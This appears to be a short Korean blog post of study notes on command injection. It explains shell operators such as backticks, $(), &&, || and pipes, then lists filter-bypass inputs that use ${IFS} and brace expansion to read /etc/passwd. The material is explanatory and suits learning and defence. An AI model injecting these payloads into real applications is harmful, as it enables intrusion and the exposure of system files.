Web Hacking/Information

Command Injection

프레딕 2024. 5. 1. 12:47
728x90

Command Injection은 명령어를 실행하는 함수에 이용자가 임의의 인자를 전달할 수 있을 때 발생한다.

아래는 여러가지 Command Injection 기법이다.

 

1. ``

명령어 치환 

`` 안에 들어있는 명령어를 실행한 결과로 치환한다.

$ echo `echo a` => a

 

2. $()

명령어 치환 

$() 안에 들어있는 명령어를 실행한 결과로 치환한다.

$ echo $(echo a) => a

 

3.&&

명령어 연속 실행

한줄에 여러 명령어를 사용하고 싶을때 사용한다.

앞 명령어에서 에러가 발생하지 않아야 뒷 명령어가 실행된다. 

$ echo hello & echo hi => hello hi

 

4. ||

이것도 연속실행인데 앞 명령어에서 에러가 발생해야 뒷 명령어가 실행된다.

$ cat / || echo hi => / : Is a directory hi

 

5. ;

;은 단순히 명령어를 구분하기 위해 사용하며 앞 명령어의 에러 유무와 관계없이 뒷 명령어를 실행한다.

$ echo hello; echo hi => hello hi

 

6. |

파이프

앞 명령어의 결과가 뒷 명령어의 입력으로 들어간다

$ echo id | /bin/sh => uid=1001 gid-1001 groups=1001

 

공백이 우회될때는 아래와 같이 사용할수도 있다.

cat${IFS}/etc/passwd
cat$IFS/etc/passwd
X=$'\x20';cat${X}/etc/passwd
X=$'\040';cat${X}/etc/passwd
{cat,/etc/passwd}
cat</etc/passwd

${IFS} : 문자열을 나누는 기준을 정의한 환경변수 => 기본 공백으로 되어있음

728x90
반응형